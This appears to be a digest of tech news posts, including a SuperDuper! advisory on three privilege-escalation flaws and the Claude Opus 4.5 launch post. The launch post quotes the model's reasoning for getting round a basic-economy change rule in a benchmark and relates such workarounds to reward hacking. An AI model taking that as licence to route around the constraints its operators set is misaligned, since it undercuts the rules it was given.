List of order objects, each containing:
- id (str): Order identifier
- total (float): Order total in USD
- status (str): One of 'pending', 'shipped', 'delivered'
- items (list): Array of {sku, quantity, price}
- created_at (str): ISO 8601 timestamp"
}
See below for opt-in tools that benefit from programmatic orchestration:
Tools that can run in parallel (independent operations)
Operations safe to retry (idempotent)
Set up Tool Use Examples for parameter accuracy
Craft examples for behavioral clarity:
Use realistic data (real city names, plausible prices, not "string" or "value")
Show variety with minimal, partial, and full specification patterns
Keep it concise: 1-5 examples per tool
Focus on ambiguity (only add examples where correct usage isn't obvious from schema)
Getting started
These features are available in beta. To enable them, add the beta header and include the tools you need:
client.beta.messages.create(
betas=["advanced-tool-use-2025-11-20"],
model="claude-sonnet-4-5-20250929",
max_tokens=4096,
tools=[
{"type": "tool_search_tool_regex_20251119", "name": "tool_search_tool_regex"},
{"type": "code_execution_20250825", "name": "code_execution"},
# Your tools with defer_loading, allowed_callers, and input_examples
]
)
For detailed API documentation and SDK examples, see our:
These features move tool use from simple function calling toward intelligent orchestration. As agents tackle more complex workflows spanning dozens of tools and large datasets, dynamic discovery, efficient execution, and reliable invocation become foundational.
We're excited to see what you build.
Acknowledgements
Written by Bin Wu, with contributions from Adam Jones, Artur Renault, Henry Tay, Jake Noble, Nathan McCandlish, Noah Picard, Sam Jiang, and the Claude Developer Platform team. This work builds on foundational research by Chris Gorgolewski, Daniel Jiang, Jeremy Fox and Mike Lambert. We also drew inspiration from across the AI ecosystem, including
Joel Pobar's LLMVM
,
Cloudflare's Code Mode
and
Code Execution as MCP
. Special thanks to Andy Schumeister, Hamish Kerr, Keir Bradwell, Matt Bleifer and Molly Vorwerck for their support.
Andrew Cuomo Is Riding This Thing All the Way to the Bottom
hellgate
hellgatenyc.com
2025-11-24 19:18:33
Cuomo and another washed up former governor telling each other "Exactlyyyyy."...
Andrew Cuomo, who
resigned
in disgrace as governor to avoid being impeached, before being soundly
rejected by voters
twice
this year
when he ran for mayor of New York City, is not going gently into that good night.
Across two excruciating hours on Monday morning, Cuomo and his
inconstant ally
, former Governor
David Paterson
, discussed the election
on John Catsimatidis's radio station
. Listeners tuning in to hear new analysis or insight born of a little distance from Election Day were disappointed.
At a plodding pace, intermittently interrupted by musical cues signalling the need to cut to personal injury lawyer commercials, the two men relitigated the election, agreeing with each other that all the points they made during the campaign that failed to persuade voters—free buses are a pipe dream, taxing the rich is folly, the city is teetering on the edge of a crime crisis for which more police are the only solution—were in fact correct. They agreed that Cuomo should have won, but for a bunch of factors that don't really signify anything, that the man voters preferred to Cuomo, Zohran Mamdani, is a panderer selling a policy program of "no classes, free pizza on Friday," Mamdani doesn't have a mandate, because lots of people voted for Cuomo, the two men agreed. Further consensus: Mamdani was good at TikTok, but his policies don't make sense. They will drive the rich and the middle class from New York. Cuomo would have won, but for Curtis Sliwa and his enormous ego, who embarrassed himself.
As the
old saw goes
, "It is always 2 dumb bitches telling each other 'exactlyyyyy.'"
Dave Nanian and Bruce Lacey, at Shirt Pocket:
Mistakes are a part of life.
They’re not a great part, but when viewed “correctly”, they’re an
opportunity.
Well, we have three opportunities, brought to our attention by a
security researcher. They’re security vulnerabilities that have
been in Sup...
They're not a great part, but when viewed "correctly", they're an opportunity.
Well, we have three opportunities, brought to our attention by a security researcher. They're security vulnerabilities that have been in SuperDuper! since the very first version, released almost 22 years ago.
Today, we're releasing fixes for the current release (the SuperDuper! v3.20 Beta is already fixed), a discussion of the problems, and the steps users can take to mitigate the issues if they cannot install the update.
We don't know of any bad actors making use of these exploits as of this post.
Mistake #1 (CVE-2025-61228)
Our auto-update mechanism can be hijacked and convinced to install a package that isn't SuperDuper.
Even though we signed and notarized our installer package, Gatekeeper is not checking that notarization when installed by macOS's package installer. As such, the download could be changed, and we'd install that instead. Since the install is being done with escalated privileges, that could allow a malicious 3rd party's program, which you would also have to install, to gain administrator access to your system.
This can only happen if a program running on your system is
looking
for SuperDuper to perform an update, a
real
update is presented through legitimate means, and you click
Upgrade
.
To fix this, we've done three things:
We've put out an update, which you may have seen before reading this post, that explains that the fixed version of SuperDuper, v3.11, should be downloaded and installed directly from the Shirt Pocket web site...and the
Upgrade
button, at the bottom of the window, should
not
be pressed.
We've changed our updater to validate the signature and notarization of the install package ourselves before installing the update.
After this announcement, we will not present update notices for any version of SuperDuper prior to v3.11 unless absolutely necessary, and in those cases we will clearly indicate, as we have here, that the user should
not
click
Upgrade
. Users who cannot install the update can prevent these notices from appearing by turning off automatic updates in SuperDuper's preferences.
Mistake #2 (CVE-2025-57489)
When the lock in SuperDuper is unlocked to allow execution to occur without having to enter an administrator password, a 3rd party program could make use of our authorization to run something other than a backup with administrator privileges.
Again, this can only happen if you install something that is, itself, malicious. And it's one mechanism of many that could be used by a bad actor to gain "root" access on your system. But this one is due to our error.
To fix it, as above, we've done three things:
In the same update notice, we've instructed people to install SuperDuper v3.11, downloaded directly from the web site.
We've changed our program to validate that the commands being executed with escalated privileges are actually coming from our own, known, sealed, signed source.
Users who
cannot
run the new version can lock the lock in the main window, which closes the security hole.
While the new SuperDuper v3.11, released today, ensures that all users who could run v3.10 are no longer vulnerable, one problem remains: we cannot fix older versions of SuperDuper. There are versions of SuperDuper available for macOS versions as early as 10.1, and we have no way to rebuild them. On top of that, we cannot "patch" the faulty element, because SuperDuper itself ensures that it's unmodified before running, and would refuse to run at all if patched.
Unfixed versions can be made secure by locking the lock in the main window. However, doing so means scheduled backups will not run: with the lock locked, all backups must be made by manually running SuperDuper.
Mistake #3 (CVE-2025-61229)
User-settable Before/After shell scripts run escalated, with SuperDuper's TCC Full Disk Access permissions. Since those shell scripts are referenced by the settings files for the copy or schedule, a malicious actor could modify those settings to run their own script.
As before, this would require another malicious program to be installed.
To mitigate this vulnerability, in v3.11 we've made two changes:
Before/After shell scripts are forced to run with the user's ID and privileges. Individuals who require alternative execution contexts can do so through normal Unix methods such as
suid
.
Scripts must be owned by the root user, even when run in the normal user's context. This ensures that any script that would run has been explicitly authorized by an administrative user.
Note that these Before/After scripts are explicitly referenced in the
What's going to happen?
section of the main window. Users who cannot update to v3.11 are advised to review that information before pressing
Copy Now
to ensure no unexpected entries are present.
Practical Considerations
People running old versions of macOS, with old versions of SuperDuper, on old Macs, are exposed to
many
security vulnerabilities, from web pages that can gain escalated privileges due to bugs in Safari or its sandbox, to other errors in the kernel that can do the same. These errors, when found, are fixed, but those fixes are not available to earlier macOS versions. Once a Mac becomes "vintage", or a version of macOS is no longer supported, security updates are no longer provided, and those issues persist.
On a system where we cannot provide a fix, you have to make a judgement call after balancing the risks of this flaw being exploited, in your personal situation, versus the inconvenience of having to manually perform backups.
If you do not install malicious programs from sketchy sources after these vulnerabilities have been disclosed, you are at the same level of risk you were at before, especially since you were
already
at risk from actors who could exploit your unsupported OS without installing another application, such as by simply visiting a web page.
However, if you feel the additional risk is too great, you can lock the lock, set a scheduled reminder via iCal, and perform your backups manually (and, of course, you can, and should, use Time Machine as well).
Arrgh-arrgh-arrgh-arrgh (argh)
This post obviously uses a more serious tone than you may be used to on the blog.
We take security and safety extremely seriously here—if we didn't, we wouldn't have made a backup program—and, to be frank, feel frustrated and ashamed that our program can be exploited to make your system less safe.
We've taken the steps needed to fix the bugs, inform our valued users, registered or not, about the problems, and have explained how to mitigate them on any version of SuperDuper, old or new. As previously mentioned, and as far as we are aware, these vulnerabilities have not been exploited by a bad actor (which does not mean they can't be, of course).
We'd like to thank the anonymous security researcher who brought these bugs to our attention, and for working with us to verify that our fixes have corrected the errors they found.
Finally, we'd like to take this opportunity to apologize to all our users for these bugs. We
hate
making mistakes. We're truly sorry for these, and will continue to do our best to put out versions of SuperDuper that you can trust as one method, of many, to keep your data safe.
Thanks for reading, and for using SuperDuper. We couldn't continue to do this without you.
--Dave Nanian & Bruce Lacey
How do we keep apps maintained on Flathub? (or building a more respectful App Store)
There have been a few discussions about what Flathub should do to push developers to maintain their apps on the latest versions of the published runtimes. But most of those lack important details around how this would actually happen. I will not discuss in this post the technical means that are already in place to help developers keep their dependencies up to date. See the
Flathub Safety: A Layered Approach from Source to User
blog post instead.
The main thing to have in mind is that Flathub is not a commercial entity like other app stores. Right now, developers that put their apps on Flathub are (in the vast majority) not paid to do so and most apps are under an open source license.
So any discussion that starts with “developers should update to the latest runtime or have their apps removed” directly contradicts the social contract here (which is also in the terms of most open source licenses): You get something for free so don’t go around making demands unless you want to look like a jerk. We are not going to persuade overworked and generally volunteer developers to update their apps by putting pressure on them to do more work. It’s counter productive.
With that out of the way, how do we gently push developers to keep their apps up to date and using the latest runtime? Well, we can pay them. Flathub wants to setup a way to offer payments for applications but unfortunately it’s not ready yet. So in the meantime, the best option is to donate to the projects or developers working on those applications.
And make it very easy for users to do so.
Now we are in luck, this is exactly what some folks have been working on recently.
Bazaar
is a Flathub first app store that makes it really easy to donate to the apps that you have installed.
But we also need to make sure that the developers actually have something set up to get donations.
And this is were the
flatpak-tracker
project comes in. This project looks for the donation links in a collection of Flatpaks and checks if there is one and if the website is still up. If it’s not, it opens
issues
in the repo for tracking and fixing. It also checks if those apps are using the latest runtimes and open issues for that as well (
FreeDesktop
,
GNOME
,
KDE
).
If you want to help, you can take a look at this repo for apps that you use and see if things needs to be fixed. Then engage and suggest fixes upstream. Some of this work does not require complex technical skills so it’s a really good way to start contributing. This is probably one of the most direct way to enable developers to receive money from their users, via donations.
Updating the runtime used by an app usually requires more work and more testing, but it’s a great way to get started and to contribute to your favorite apps. And this is not just about Flathub: updating a Qt5 app to run with Qt6, or a GNOME 48 app to 49, will help everyone using the app.
We want to build an App Store that is respectful of the time developers put into developing, submitting, publishing, testing and maintaining their apps.
We don’t want to replicate the predatory model of other app stores.
Will some apps be out of date sometimes? Probably, but I would rather have a sustainable community than an exploiting one.
AlmaLinux 10.1 released
Linux Weekly News
lwn.net
2025-11-24 19:18:14
AlmaLinux 10.1 has been released. In
addition to providing binary compatibility with Red Hat Enterprise
Linux (RHEL) 10.1, the most notable feature in AlmaLinux 10.1 is
the addition of support
for Btrfs, which is not available in RHEL:
Btrfs support encompasses both kernel and userspace ...
AlmaLinux
10.1 has been
released
. In
addition to providing binary compatibility with Red Hat Enterprise
Linux (RHEL) 10.1, the most notable feature in AlmaLinux 10.1 is
the addition of
support
for Btrfs
, which is not available in RHEL:
Btrfs support encompasses both kernel and userspace enablement, and it
is now possible to install AlmaLinux OS on a Btrfs filesystem from the
very beginning. Initial enablement was scoped to the installer and
storage management stack, and broader support within the AlmaLinux
software collection for Btrfs features is forthcoming.
In addition to Btrfs support, AlmaLinux OS 10.1 includes numerous
other improvements to serve our community. We have continued to extend
hardware support both by
adding
drivers
and by adding a secondary version of AlmaLinux OS and
EPEL
to extend support of x86_64_v2 processors.
Several years ago, I published a critique of manager READMEs that succeeded in stirring up a lot of feelings, pro and con. I’d like to believe it prompted some people to reconsider whether these are actually effective tools.Today, I want to revisit this. Not to encourage you to write a manager READM...
Several years ago, I published a critique of
manager READMEs
that succeeded in stirring up a lot of feelings, pro and con. I’d like to believe it prompted some people to reconsider whether these are actually effective tools.
Today, I want to revisit this. Not to encourage you to write a manager README, but to suggest other ways forward that I have learned in the years since writing the first post.
The Problem
When you become a senior manager or an executive, you face new challenges. Your job involves directing work across many people with different approaches, styles, and opinions. Left to their own devices, each person will develop a slightly different way of communicating with you, one that works for them and that they believe works for you.
With a broad scope of work to oversee, you need to quickly grasp what matters and should be shared upward, outward, and down into different parts of your organization. Now, at most companies, this is a known problem and inevitably someone has already tried to solve it by means of standardized tooling and reporting. Everyone uses Jira for a reason and it’s not that Jira is the best tool ever, but it is malleable to many types of standardization. Companies implement OKR tools and Tableau dashboards, they institute various program management processes, they run quarterly business reviews, and all of these are done in the name of standardizing the information that is passed upward and outward so that people can make better decisions.
Unfortunately, this is typically the lowest common denominator of usefulness to any senior manager. Reporting generated in this way obscures as much as it reveals, and it rarely addresses the things that you really care about¹. So senior managers need other mechanisms for imparting what they want to hear about and see. The README can sometimes be an attempt to impart that cultural overlay: a way of saying, “I care about X, and want you to focus on that when you communicate to me; I don’t care much about Y and Z, and by the way, it’s best if you communicate with me in these ways.”
I remain steadfast that this is not a good approach. It creates a focus on you as the person to be managed up to. Your personality must be accommodated, your preferences honored. I get the desire for this, and I’m certainly not immune to being managed up to, but my preference is to avoid major blind spots. I want to hear what I care about, yes, but I don’t want to live in an information bubble either.
READMEs are also rather lazy. There’s a kernel of truth in their purpose: we want people to focus certain types of communication on what we believe is most valuable. However, doing it in the form of a general README isn’t actually the most effective approach.
So if not READMEs, what then?
The Solution: Appropriate Templates and Ceremonies
Instead of one doc that attempts to communicate all of your preferences and warts and creates a you-focused mindset, it’s time to level up and recognize that a big part of the job of senior/executive management is setting standards for doing certain types of work. The best way to set those standards, in my experience, is lightweight templates and ceremonies for information sharing, discussion, and decision-making.
I think that every good senior manager should have some toolkit of these. You aren’t just going to operate against the lowest common denominator of pre-existing reports and processes in your company, you have to establish a few processes that exist to show what you care about and where you want the organization to focus. One of mine is Wins and Challenges (discussed in my
recent book
), which I’ve brought from startups to giant teams and everything in-between. Is it extra work on top of whatever people might be doing in Jira or other tools? Possibly. Does it create far more valuable conversation across my leadership team than those tools? Yes. Does it help me specifically understand things and do my job better? Absolutely.
There is a very lightweight template to follow for my Wins and Challenges, and the process details are owned by the team gathering the information (although I specify opinions about how it should be done, I only check the outcomes). I find that the best templates and processes are lightweight in a way that they show what information should be collected but don’t dictate exactly the process to collect that information.
Developing templates that expose the right useful information is hard. You will both over-do and under-do this as you’re figuring it out, whether it’s your first time in the job, you’ve moved to a different company or team, or your team has just evolved past the usefulness of the old methods. My advice is to start simple and add on new details or processes only when it’s clear you have a widespread gap. A good rhythm for a new job/team is to learn for 90 days, then introduce what you need, and evolve from there with enough time to learn from each iteration (usually, 1-2 quarters).
Don’t Try To Template/Processify Everything
I recently asked an experienced CPO about good product processes, and what they looked like from his perspective. One piece of advice was that not everything should have a fixed process or template. When you need to leave room for discussion, it’s often best to limit the structure; a walkthrough of a prototype might be better done as an open-ended exploration and discussion rather than a formal set of steps.
It’s important not to give into the temptation (or external pressure) to create processes for everything. I personally do not have a fixed format for my 1-1s, and dislike even the expectation of coming with a set of written and shared topics. I don’t want to feel rushed to finish everything on an agenda, and the temptation to immediately jump to conclusions about a topic based on an agenda item often increases miscommunication. Sometimes there’s a need to pre-read and prepare, but sometimes we just need to talk and see where the exploration of current top-of-mind concerns and information takes us.
So, senior leaders, you can tell people how you want them to work with you, but don’t do it via the crude mechanism of a manager README. Drive clarity through templates and processes where needed, resist the urge to create them everywhere, and lead your organization by showing them where to spend their time and focus as a collective good, not just good for you.
¹ Think of it this way, if you could easily see the problems via the pre-existing dashboards, they’d already be on their way to being solved. Dashboards are like alerts and tests in this way, they tend to catch what you know could go wrong, but rarely the surprise problems that lead to big incidents. Necessary, but insufficient.
sqlite-utils 3.39
I got a report of a bug in sqlite-utils concerning plugin installation - if you installed the package using uv tool install further attempts to install plugins with sqlite-utils install X would fail, because uv doesn't bundle pip by default. I had the same bug with Datasette a whil...
sqlite-utils 3.39
. I got a report of
a bug
in
sqlite-utils
concerning plugin installation - if you installed the package using
uv tool install
further attempts to install plugins with
sqlite-utils install X
would fail, because
uv
doesn't bundle
pip
by default. I had the same bug with Datasette
a while ago
, turns out I forgot to apply the fix to
sqlite-utils
.
Since I was pushing a new dot-release I decided to integrate some of the non-breaking changes from the 4.0 alpha
I released last night
.
I tried to have Claude Code do the backporting for me:
create a new branch called 3.x starting with the 3.38 tag, then consult
https://github.com/simonw/sqlite-utils/issues/688
and cherry-pick the commits it lists in the second comment, then review each of the links in the first comment and cherry-pick those as well. After each cherry-pick run the command "just test" to confirm the tests pass and fix them if they don't. Look through the commit history on main since the 3.38 tag to help you with this task.
This worked reasonably well -
here's the terminal transcript
. It successfully argued me out of two of the larger changes which would have added more complexity than I want in a small dot-release like this.
I still had to do a bunch of manual work to get everything up to scratch, which I carried out in
this PR
- including adding comments there and then telling Claude Code:
The release is now out with the following release notes:
Fixed a bug with
sqlite-utils install
when the tool had been installed using
uv
. (
#687
)
The
--functions
argument now optionally accepts a path to a Python file as an alternative to a string full of code, and can be specified multiple times - see
Defining custom SQL functions
. (
#659
)
sqlite-utils
now requires on Python 3.10 or higher.
Our newest model, Claude Opus 4.5, is available today. It’s intelligent, efficient, and the best model in the world for coding, agents, and computer use. It’s also meaningfully better at everyday tasks like deep research and working with slides and spreadsheets. Opus 4.5 is a step forward in what AI systems can do, and a preview of larger changes to how work gets done.
Claude Opus 4.5 is state-of-the-art on tests of real-world software engineering:
Opus 4.5 is available today on our apps, our API, and on all three major cloud platforms. If you’re a developer, simply use
claude-opus-4-5-20251101
via the
Claude API
. Pricing is now $5/$25 per million tokens—making Opus-level capabilities accessible to even more users, teams, and enterprises.
Alongside Opus, we’re releasing updates to the
Claude Developer Platform
,
Claude Code
, and our
consumer apps
. There are new tools for longer-running agents and new ways to use Claude in Excel, Chrome, and on desktop. In the Claude apps, lengthy conversations no longer hit a wall. See our product-focused section below for details.
First impressions
As our Anthropic colleagues tested the model before release, we heard remarkably consistent feedback. Testers noted that Claude Opus 4.5 handles ambiguity and reasons about tradeoffs without hand-holding. They told us that, when pointed at a complex, multi-system bug, Opus 4.5 figures out the fix. They said that tasks that were near-impossible for Sonnet 4.5 just a few weeks ago are now within reach. Overall, our testers told us that Opus 4.5 just “gets it.”
Many of our customers with early access have had similar experiences. Here are some examples of what they told us:
Opus models have always been “the real SOTA”
but have been cost prohibitive in the past. Claude Opus 4.5 is now at a price point where it can be your go-to model for most tasks. It’s the clear winner and exhibits the best frontier task planning and tool calling we’ve seen yet.
Claude Opus 4.5 delivers high-quality code and excels at powering heavy-duty agentic workflows with GitHub Copilot. Early testing shows it
surpasses internal coding benchmarks while cutting token usage in half
, and is especially well-suited for tasks like code migration and code refactoring.
Claude Opus 4.5 beats Sonnet 4.5 and competition on our internal benchmarks,
using fewer tokens to solve the same problems
. At scale, that efficiency compounds.
Claude Opus 4.5 delivers frontier reasoning within Lovable's chat mode
, where users plan and iterate on projects. Its reasoning depth transforms planning—and great planning makes code generation even better.
Claude Opus 4.5 excels at long-horizon, autonomous tasks
, especially those that require sustained reasoning and multi-step execution. In our evaluations it handled complex workflows with fewer dead-ends. On Terminal Bench it delivered a 15% improvement over Sonnet 4.5, a meaningful gain that becomes especially clear when using Warp’s Planning Mode.
Claude Opus 4.5 achieved state-of-the-art results for complex enterprise tasks
on our benchmarks, outperforming previous models on multi-step reasoning tasks that combine information retrieval, tool use, and deep analysis.
Claude Opus 4.5 delivers measurable gains where it matters most
: stronger results on our hardest evaluations and consistent performance through 30-minute autonomous coding sessions.
Claude Opus 4.5 represents a breakthrough in self-improving AI agents
. For office automation, our agents were able to autonomously refine their own capabilities—achieving peak performance in 4 iterations while other models couldn’t match that quality after 10.
Claude Opus 4.5 is a notable improvement over the prior Claude models inside Cursor
, with improved pricing and intelligence on difficult coding tasks.
Claude Opus 4.5 is yet another example of Anthropic pushing the frontier of general intelligence
. It performs exceedingly well across difficult coding tasks, showcasing long-term goal-directed behavior.
Claude Opus 4.5 delivered an impressive refactor spanning two codebases and three coordinated agents. It was very thorough, helping develop a robust plan, handling the details and fixing tests.
A clear step forward from Sonnet 4.5
.
Claude Opus 4.5 handles long-horizon coding tasks more efficiently than any model we’ve tested
. It achieves higher pass rates on held-out tests while using up to 65% fewer tokens, giving developers real cost control without sacrificing quality.
We’ve found that Opus 4.5 excels at interpreting what users actually want, producing shareable content on the first try
. Combined with its speed, token efficiency, and surprisingly low cost, it’s the first time we’re making Opus available in Notion Agent.
Claude Opus 4.5 excels at long-context storytelling
, generating 10-15 page chapters with strong organization and consistency. It's unlocked use cases we couldn't reliably deliver before.
Claude Opus 4.5 sets a new standard for Excel automation and financial modeling
. Accuracy on our internal evals improved 20%, efficiency rose 15%, and complex tasks that once seemed out of reach became achievable.
Claude Opus 4.5 is the only model that nails some of our hardest 3D visualizations
. Polished design, tasteful UX, and excellent planning & orchestration - all with more efficient token usage. Tasks that took previous models 2 hours now take thirty minutes.
Claude Opus 4.5 catches more issues in code reviews without sacrificing precision
. For production code review at scale, that reliability matters.
Based on testing with Junie, our coding agent,
Claude Opus 4.5 outperforms Sonnet 4.5 across all benchmarks
. It requires fewer steps to solve tasks and uses fewer tokens as a result. This indicates that the new model is more precise and follows instructions more effectively — a direction we’re very excited about.
The effort parameter is brilliant.
Claude Opus 4.5 feels dynamic rather than overthinking
, and at lower effort delivers the same quality we need while being dramatically more efficient. That control is exactly what our SQL workflows demand.
We’re seeing 50% to 75% reductions in both tool calling errors and build/lint errors with Claude Opus 4.5
. It consistently finishes complex tasks in fewer iterations with more reliable execution.
Evaluating Claude Opus 4.5
We give prospective performance engineering candidates a notoriously difficult take-home exam. We also test new models on this exam as an internal benchmark. Within our prescribed 2-hour time limit, Claude Opus 4.5 scored higher than any human candidate ever
1
.
The take-home test is designed to assess technical ability and judgment under time pressure. It doesn’t test for other crucial skills candidates may possess, like collaboration, communication, or the instincts that develop over years. But this result—where an AI model outperforms strong candidates on important technical skills—raises questions about how AI will change engineering as a profession. Our
Societal Impacts
and
Economic Futures
research is aimed at understanding these kinds of changes across many fields. We plan to share more results soon.
Software engineering isn’t the only area on which Claude Opus 4.5 has improved. Capabilities are higher across the board—Opus 4.5 has better vision, reasoning, and mathematics skills than its predecessors, and it is state-of-the-art in many domains:
The model’s capabilities outpace some of the benchmarks we use in our tests. A common benchmark for agentic capabilities is
τ2-bench
, which measures the performance of agents in real-world, multi-turn tasks. In one scenario, models have to act as an airline service agent helping a distressed customer. The benchmark expects models to refuse a modification to a basic economy booking since the airline doesn’t allow changes to that class of tickets. Instead, Opus 4.5 found an insightful (and legitimate) way to solve the problem: upgrade the cabin first,
then
modify the flights.
Let me think about what options I have within my policy:
1. Modify flights - Basic economy cannot be modified. This is clear in the policy.
2. Change cabin - Wait, let me check this option! The policy says:
"In other cases, all reservations, including basic economy, can change cabin without changing the flights."
But he wants to change the flights, not just the cabin. However, what if we:
- Change the cabin first (which IS allowed for basic economy), then
- Change the flights (which is allowed for non-basic economy)
So the strategy could be:
1. Upgrade his cabin from basic economy to economy (or business)
2. Then modify the flights to be 2 days later
This would cost more money, but it’s a legitimate path within the policy!
The benchmark technically scored this as a failure because Claude’s way of helping the customer was unanticipated. But this kind of creative problem solving is exactly what we’ve heard about from our testers and customers—it’s what makes Claude Opus 4.5 feel like a meaningful step forward.
In other contexts, finding clever paths around intended constraints could count as
reward hacking
—where models “game” rules or objectives in unintended ways. Preventing such misalignment is one of the objectives of our safety testing, discussed in the next section.
A step forward on safety
As we state in our
system card
, Claude Opus 4.5 is the most robustly aligned model we have released to date and, we suspect, the best-aligned frontier model by any developer. It continues our trend towards safer and more secure models:
In our evaluation, “concerning behavior” scores measure a very wide range of misaligned behavior, including both cooperation with human misuse and undesirable actions that the model takes at its own initiative [2].
Our customers often use Claude for critical tasks. They want to be assured that, in the face of malicious attacks by hackers and cybercriminals, Claude has the training and the “street smarts” to avoid trouble. With Opus 4.5, we’ve made substantial progress in robustness against prompt injection attacks, which smuggle in deceptive instructions to fool the model into harmful behavior. Opus 4.5 is harder to trick with prompt injection than any other frontier model in the industry:
Note that this benchmark includes only very strong prompt injection attacks. It was developed and run by
Gray Swan
.
You can find a detailed description of all our capability and safety evaluations in the
Claude Opus 4.5 system card
.
New on the Claude Developer Platform
As models get smarter, they can solve problems in fewer steps: less backtracking, less redundant exploration, less verbose reasoning. Claude Opus 4.5 uses dramatically fewer tokens than its predecessors to reach similar or better outcomes.
But different tasks call for different tradeoffs. Sometimes developers want a model to keep thinking about a problem; sometimes they want something more nimble. With our new effort parameter on the Claude API, you can decide to minimize time and spend or maximize capability.
Set to a medium effort level, Opus 4.5 matches Sonnet 4.5’s best score on SWE-bench Verified, but uses 76% fewer output tokens. At its highest effort level, Opus 4.5 exceeds Sonnet 4.5 performance by 4.3 percentage points—while using 48% fewer tokens.
Our
context management
and
memory capabilities
can dramatically boost performance on agentic tasks. Opus 4.5 is also very effective at managing a team of subagents, enabling the construction of complex, well-coordinated multi-agent systems. In our testing, the combination of all these techniques boosted Opus 4.5’s performance on a deep research evaluation by almost 15 percentage points
3
.
We’re making our Developer Platform more composable over time. We want to give you the building blocks to construct exactly what you need, with full control over efficiency, tool use, and context management.
Product updates
Products like Claude Code show what’s possible when the kinds of upgrades we’ve made to the Claude Developer Platform come together. Claude Code gains two upgrades with Opus 4.5. Plan Mode now builds more precise plans and executes more thoroughly—Claude asks clarifying questions upfront, then builds a user-editable plan.md file before executing.
Claude Code is also now
available in our desktop app
, letting you run multiple local and remote sessions in parallel: perhaps one agent fixes bugs, another researches GitHub, and a third updates docs.
For
Claude app
users, long conversations no longer hit a wall—Claude automatically summarizes earlier context as needed, so you can keep the chat going.
Claude for Chrome
, which lets Claude handle tasks across your browser tabs, is now available to all Max users. We announced
Claude for Excel
in October, and as of today we've expanded beta access to all Max, Team, and Enterprise users. Each of these updates takes advantage of Claude Opus 4.5’s market-leading performance in using computers, spreadsheets, and handling long-running tasks.
For Claude and Claude Code users with access to Opus 4.5, we’ve removed Opus-specific caps. For Max and Team Premium users, we’ve increased overall usage limits, meaning you’ll have roughly the same number of Opus tokens as you previously had with Sonnet. We’re updating usage limits to make sure you’re able to use Opus 4.5 for daily work. These limits are specific to Opus 4.5. As future models surpass it, we expect to update limits as needed.
Footnotes
1: This result was using parallel test-time compute, a method that aggregates multiple “tries” from the model and selects from among them. Without a time limit, the model (used within Claude Code) matched the best-ever human candidate.
2: Note that these evaluations were run on an in-progress upgrade to
Petri
, our open-source, automated evaluation tool. They were run on an earlier snapshot of Claude Opus 4.5. Evaluations of the final production model show a very similar pattern of results when compared to other Claude models, and are described in detail in the
Claude Opus 4.5 system card
.
3: A fetch-enabled version of
BrowseComp-Plus
. Specifically, the improvement was from 70.48% without using the combination of techniques to 85.30% using it.
Methodology
All evals were run with a 64K thinking budget, interleaved scratchpads, 200K context window, default effort (high), and default sampling settings (temperature, top_p). Exceptions: SWE-bench Verified (no thinking budget) and Terminal Bench (128K thinking budget). Please see the
Claude Opus 4.5 system card
for full details.
Related content
Claude now available in Microsoft Foundry and Microsoft 365 Copilot
Microsoft, NVIDIA, and Anthropic announce strategic partnerships
Microsoft, NVIDIA and Anthropic announced new strategic partnerships. Anthropic is scaling its rapidly-growing Claude AI model on Microsoft Azure, powered by NVIDIA, which will broaden access to Claude and provide Azure enterprise customers with expanded model choice and new capabilities. Anthropic has committed to purchase $30 billion of Azure compute capacity and to contract additional compute capacity up to one gigawatt.
Yesterday, Pebble watch software was ~95% open source. Today, it’s 100% open source. You can download, compile and run all the software you need to use your Pebble. We just
published
the source code
for the new Pebble mobile app!
Pebble Appstore now has a publicly
available backup
and supports multiple feeds, providing long term reliability through decentralization. We’ve launched our own feed and Developer Dashboard.
Pebble Time 2
schedule update
(aiming to begin shipping in January, with most arriving on wrists in March/April)
Over the last year, and especially in the last week, I've chatted with tons of people in the Pebble community. One of the main questions people have is ‘how do I know that my new Pebble watch will continue to work long into the future?’. It’s an extremely valid question and concern - one that I share as a fellow Pebble wearer. I called this out specifically
in my blog post
announcing the relaunch in January 2025. How is this time round going to be different from last time?
There are two pieces to making Pebble sustainable long term - hardware and software.
Hardware
Nothing lasts forever, especially an inexpensive gadget like a Pebble. We want to be able to keep manufacturing these watches long into the future - mostly because I will always want one on my wrist! The company I set up to relaunch Pebble, Core Devices, is self funded, built without investors, and extremely lean. As long as we stay profitable (ie we don’t lose money), we will continue to manufacture new watches.
We’re also making sure that our new watches are more repairable than old Pebble watches. The back cover of Pebble Time 2 is screwed in. You can remove the back cover and replace the battery.
We’ve also published
electrical and mechanical design files
for Pebble 2 Duo. Yes, you can download the schematic (includes KiCad project files) right now on
Github
! This should give you a nice jumpstart to designing your own PebbleOS-compatible device.
Software
Last time round, barely any of the Pebble software was open source. This made it very hard for the Pebble community to make improvements to their watches after the company behind Pebble shut down. Things are different now! This whole relaunch came about primarily because Google open sourced PebbleOS (thank you!). Yesterday, the software that powers Pebble watches was around 95% open source. As of today, it’s now 100%. This means that if Core Devices were to disappear into a black hole, you have all the source code you need to build, run and improve the software behind your Pebble.
I confess that I misunderstood why 95% was much less sustainable than 100% until recently. I discuss this in more detail in my latest Tick Talk episode (check it out). Long story short - I’m an Android user and was happy to sideload the old Pebble APK on my phone, but iPhone and other Android users have basically been stuck without an easily available Pebble mobile companion app for years.
Here’s how we’re making sure the 3 main Pebble software components are open source and guaranteed to work long into the future:
PebbleOS
- software that runs on your watch itself. This has been 100% open source since January and we’ve committed to open sourcing all the improvements we’ve made →
github.com/coredevices/PebbleOS
. You can download the source code,
compile PebbleOS
and easily install it over Bluetooth on your new Pebble. Textbook definition of open source!
Pebble mobile companion app
- the app that for your iPhone or Android. Without the app, your Pebble is basically a paperweight. When the Pebble Tech Corp died, the lack of an open source mobile app made it difficult for anyone to continue to use their watches. We had to build an entirely new app (
get it here
). Today, our app is now
100% open source on Github
- ensuring that what happened before
cannot
happen again. Want to learn more about how we built the new app cross platform using Kotlin Multiplatform? Watch Steve’s
presentation at Droidcon
.
Developer tools and Pebble Appstore
- this software enables people to build and share their watchapps and watchfaces.
In the case of dev tools, just being open source is not enough. They needed to be updated to work on modern computers. Before we made improvements, the state of the art of Pebble app development was using an Ubuntu virtualbox VM with Python2! Over the summer, our
incredibly productive intern
upgraded all the
SDK and dev tools
and created a
new way to develop Pebble apps in the browser
. You should check them out!
